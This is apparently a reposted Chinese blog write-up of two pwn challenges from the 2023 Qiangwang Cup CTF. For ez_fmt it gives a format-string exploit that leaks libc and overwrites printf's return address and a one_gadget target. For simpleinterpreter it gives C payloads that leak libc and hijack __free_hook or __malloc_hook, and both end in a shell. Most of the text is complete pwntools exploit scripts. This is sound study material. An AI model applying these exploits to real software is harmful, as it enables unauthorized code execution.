web选手入门pwn(13)——2023强网杯个人WP
2023-12-20 14:37:43 Author: 珂技知识分享(查看原文) 阅读量:15 收藏

看了一眼其他人的wp,自己可能做出来的就两道,其中ez_fmt实战中卡了好久,赛后一个提示要用printf的ret地址豁然开朗。因此就给大家写这两道相对简单的题吧。

1.    ez_fmt
https://pan.baidu.com/s/1YxAkJgxtVQf2Dz9fBdWuXw
密码:GAME

一眼字符串格式化,提供了libc-2.31.so,而且非常贴心的帮你把栈打印出来了。
这里由于glibc-all-in-one的libc-2.31报错,所以我用2.26做的,本地做题应该没影响。
但这题有三个难点:
1,没有循环,意味着泄露libc和劫持got只能做一件。
2,read处限制了0x30个字节。
3,有个w在.data区,执行完字符串格式化会马上置0。
先看看传统%p查看偏移。

泄露libc有两种方法,一种还是通过got泄露。注意64位字符串格式化有个\x00截断的问题,因为got地址含有\x00,所以不能像32位那样放在payload最前面。

payload1 = "http://"+p32(start_got)+"%13$s"

而是放在最后面

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = remote('2.2.2.2',1337)#sh = gdb.debug("./ez_fmt","b main")sh = process("./ez_fmt")elf = ELF("./ez_fmt")got_libc_startmain = elf.got['__libc_start_main']
payload = "%7$s"+"A"*4+p64(got_libc_startmain)
recv1 = sh.recvline()sh.sendline(payload)recv2 = sh.recv()
stack_addr = recv1[24:38]print("stack: "+stack_addr)addr_libc_startmain = u64(recv2[0:6]+"\x00\x00")print("libc_main: "+hex(addr_libc_startmain))
#sh.interactive()

不得不说这样做麻烦很多,如果想打印更多地址,或者利用%hhn进行地址写的话,需要根据插入的got数量,不断的更改%7$s中的7。
以及如果想使用fmtstr_payload,必须加入context.arch='amd64'。
进gdb验证一下libc是否正确。

后3位是一样的就行,在验证libc的同时,看一眼栈上还有哪些东西可以泄露。

可以看到,ret的地址就是libc_main+241。因此用这里泄露libc更加简洁,有助于让我们使用这该死的0x30限制。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = remote('2.2.2.2',1337)#sh = gdb.debug("./ez_fmt","b main")sh = process("./ez_fmt")elf = ELF("./ez_fmt")got_libc_startmain = elf.got['__libc_start_main']
payload = "%19$p"
recv1 = sh.recvline()sh.sendline(payload)recv2 = sh.recv()
stack_addr = recv1[24:38]print("stack: "+stack_addr)addr_libc_startmain = int(recv2[0:14],16) -241print("libc_main: "+ hex(addr_libc_startmain))
#sh.interactive()

在泄露libc的同时,我们需要完成一次循环,因为ALSR的缘故每次libc返回的地址都不一样,因此就必须完成一个任意地址写。将返回地址改到main上,再进行一次字符串格式的利用。
巧了,%19$p不正好就是ebp的高位ret地址吗?但这里并不能完成利用,动态调试可以发现,它是在w置0后再ret的。

所以必须找一个在mov eax,0之前的地址改写。正式比赛时,我就死在了这点上。
比赛结束后,朋友告知,需要改写printf()的返回地址,这个进printf()内部好像调试不出来,但可以猜测,返回地址一定是call   printf的下一个地址0x40123e

s进入printf内部发现它就在call printf之前的栈上的下8位。

这样,开头就告诉你的栈地址就派上用场了,我们可以利用字符串格式化漏洞篡改stack_addr-8的后4位,跳到0x4010B0(_start)上。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = remote('2.2.2.2',1337)#sh = gdb.debug("./ez_fmt","b main")sh = process("./ez_fmt")elf = ELF("./ez_fmt")got_libc_startmain = elf.got['__libc_start_main']
recv1 = sh.recvline()stack_addr = int(recv1[24:38], 16)#_start = 0x4010B0#0x10B0 = 4272payload = "%4272c" +"%8$hn" +"%19$p"+ p64(stack_addr-8)sh.sendline(payload)recv2 = sh.recv()
print("stack: "+hex(stack_addr))#addr_libc_startmain = int(recv2[0:14],16) -241#print("libc_main: "+ hex(addr_libc_startmain))sh.interactive()

可以看到,重新跳转到main,重新打印了一次栈。

接下来执行字符串格式化漏洞也没有问题。

接下来就是捕获libc并且向ret写入one_gaget了,计算一下one_gaget。这里换成recvuntil()更容易定位泄露地址。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = remote('2.2.2.2',1337)#sh = gdb.debug("./ez_fmt","b main")sh = process("./ez_fmt")elf = ELF("./ez_fmt")got_libc_startmain = elf.got['__libc_start_main']
recv1 = sh.recvline()stack_addr = int(recv1[24:38], 16)#_start = 0x4010B0#0x10B0 = 4272payload = "%4272c" +"%8$hn" +"%19$p"+ p64(stack_addr-8)sh.sendline(payload)
recv2 = sh.recvuntil("0x")print("stack1: "+hex(stack_addr))recv3 = sh.recvuntil("0x")recv4 = sh.recv()
addr_libc_start_main = int("0x"+ recv3[0:12],16) -241stack_addr = int("0x"+ recv4[0:12], 16)print("libc_main: "+ hex(addr_libc_start_main))print("stack2: "+hex(stack_addr))
#one_gadget 0x47c46
one_gadget_addr = addr_libc_start_main - 0x0210d0 + 0x47c46print("one_gadget_addr: "+ hex(one_gadget_addr))
sh.interactive()

libc_main的地址和one_gadget的地址由于都在libc上,所以基本上是差不多的,这样我们只需要使用两次hn就能较方便的改写ret上的libc_main+241地址。如果想改写整个64位地址,0x30的长度限制是远远不够用的。
最终本地exp如下。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = remote('2.2.2.2',1337)#sh = gdb.debug("./ez_fmt","b main")sh = process("./ez_fmt")elf = ELF("./ez_fmt")got_libc_startmain = elf.got['__libc_start_main']
recv1 = sh.recvline()stack_addr = int(recv1[24:38], 16)#_start = 0x4010B0#0x10B0 = 4272payload = "%4272c" +"%8$hn" +"%19$p"+ p64(stack_addr-8)sh.sendline(payload)
recv2 = sh.recvuntil("0x")print("stack1: "+hex(stack_addr))recv3 = sh.recvuntil("0x")recv4 = sh.recv()
addr_libc_start_main = int("0x"+ recv3[0:12],16) -241stack_addr = int("0x"+ recv4[0:12], 16)print("libc_main: "+ hex(addr_libc_start_main))print("stack2: "+hex(stack_addr))
#one_gadget 0xfdb8e
one_gadget_addr = addr_libc_start_main - 0x0210d0 + 0xfdb8eprint("one_gadget_addr: "+ hex(one_gadget_addr))
one_a = int(("0x"+str(hex(one_gadget_addr))[-8:-4]),16)one_b = int(("0x"+str(hex(one_gadget_addr))[-4:]),16)print(hex(one_a))print(hex(one_b))if (one_a > one_b ): payload = "%" +str(one_b)+"c%10$hn%" + str(one_a-one_b) + "c%11$hn" payload = payload.ljust(0x20,"A") #print(payload) payload = payload + p64(stack_addr+0x68) + p64(stack_addr+0x68+2)sh.sendline(payload)
sh.interactive()

成功在本地getshell,远程getshell的时候,由于libc的不同,有些地方要修改一下,比如one_gadget和这里

addr_libc_start_main =  int("0x"+ recv3[0:12],16) -243

这里可以通过got泄露libc的时候对比出来,远程也成功getshell。

2.    simpleinterpreter

自带libc-2.27.so,我们使用2.27-3ubuntu1_amd64来做。
如它的名字所说,它是一个简单解释器,在main中可以看到非常多的报错提示。

如果将其当作一个正常堆题来做,只会这样。

所以我们需要直接输入一个可以被gcc编译的代码。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")sh = process("./simpleinterpreter")elf = ELF("./simpleinterpreter")
payload = '''int main(){ int a; a = 0x49; printf("%p",a); return 0;}'''sh.sendlineafter('size:',str(len(payload)))sh.sendlineafter('et:',payload)
sh.interactive()

那么机智如我,直接一个system('id');。

当然没有那么简单,它只能用堆相关的几个方法,比如malloc,free。
但仔细想一想,可以执行受限的c语言,也就直接获得了任意地址读和任意地址写,只要泄露libc,随便劫持一个方法不就行了吗。由于提供的是libc-2.27.so,所以自然而然的想到打印unsorted bin的fd。
注意需要多申请一个小堆防止大堆块释放与TOPchunk合并。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")sh = process("./simpleinterpreter")elf = ELF("./simpleinterpreter")
payload = '''int main(){ int* free_hook; char* sh; free_hook = malloc(0x500); sh = malloc(0x10); free(free_hook); printf("%p",*free_hook); return 0;}'''sh.sendlineafter('size:',str(len(payload)))sh.sendlineafter('et:',payload)
sh.interactive()

此时得到的是main_arena+N的地址,在之前做babyheap2019时,说这个地址是固定的__malloc_hook +0x10+0x58,但这里通过libc文件的后三位计算发现这次并不是。而是__malloc_hook + 0x70。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")sh = process("./simpleinterpreter")elf = ELF("./simpleinterpreter")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")libc__malloc_hook = libc.sym['__malloc_hook']main_arena_58 = libc__malloc_hook + 0x70libc_system = libc.sym['system']libc_free = libc.sym['__free_hook']print(hex(libc__malloc_hook)) #0x3ebc30print(hex(main_arena_58)) #0x3ebca0print(hex(libc_system)) #0x4f440print(hex(libc_free)) #0x3ed8e8

payload = '''int main(){ int* free_hook; char* sh; int libc; free_hook = malloc(0x500); sh = malloc(0x10); free(free_hook); printf("%p\n",*free_hook); libc = *free_hook - 0x3ebca0; printf("%p\n",libc); return 0;}'''sh.sendlineafter('size:',str(len(payload)))sh.sendlineafter('et:',payload)
sh.interactive()

如何getshell呢?这题有Full RELRO保护,意味着无法修改got表,所以需要用到__free_hook/__malloc_hook这个两个可改写地址的钩子函数。

劫持的方法也很简单,因为free_hook是个指针,所以修改它的值为__free_hook地址,再修改*free_hook为system地址,然后free一块写了sh字符串的小堆,即可完成getshell。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")sh = process("./simpleinterpreter")elf = ELF("./simpleinterpreter")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")libc__malloc_hook = libc.sym['__malloc_hook']main_arena_58 = libc__malloc_hook + 0x70libc_system = libc.sym['system']libc_free = libc.sym['__free_hook']print(hex(libc__malloc_hook)) #0x3ebc30print(hex(main_arena_58)) #0x3ebca0print(hex(libc_system)) #0x4f440print(hex(libc_free)) #0x3ed8e8

payload = '''int main(){ int* free_hook; char* sh; int libc; free_hook = malloc(0x500); sh = malloc(0x10); free(free_hook); printf("%p\n",*free_hook); libc = *free_hook - 0x3ebca0; printf("%p\n",libc); free_hook = libc + 0x3ed8e8; *free_hook = libc + 0x04f440; sh[0] = 's'; sh[1] = 'h'; free(sh); return 0;}'''sh.sendlineafter('size:',str(len(payload)))sh.sendlineafter('et:',payload)
sh.interactive()

如果是用__malloc_hook,也是一样的道理,只不过这次要用到one_gadget

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./simpleinterpreter","b main")sh = process("./simpleinterpreter")elf = ELF("./simpleinterpreter")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")libc__malloc_hook = libc.sym['__malloc_hook']main_arena_58 = libc__malloc_hook + 0x70libc_system = libc.sym['system']libc_free = libc.sym['__free_hook']print(hex(libc__malloc_hook)) #0x3ebc30print(hex(main_arena_58)) #0x3ebca0print(hex(libc_system)) #0x4f440print(hex(libc_free)) #0x3ed8e8
#one_gadget#0x4f2c5#0x4f322#0x10a38cpayload = '''int main(){ int* malloc_hook; char* sh; int libc; malloc_hook = malloc(0x500); sh = malloc(0x10); free(malloc_hook); printf("%p\n",*malloc_hook); libc = *malloc_hook - 0x3ebca0; printf("%p\n",libc); malloc_hook = libc + 0x3ebc30; *malloc_hook = libc + 0x4f322; malloc(0x10); return 0;}'''sh.sendlineafter('size:',str(len(payload)))sh.sendlineafter('et:',payload)
sh.interactive()


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486676&idx=1&sn=bfc661562932da932bfcf1debd552c45&chksm=fb04e75b4990af5390f86560f7bfbf36e1335a480fb2e56dcc35f8da79cbcc8102205707a759&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh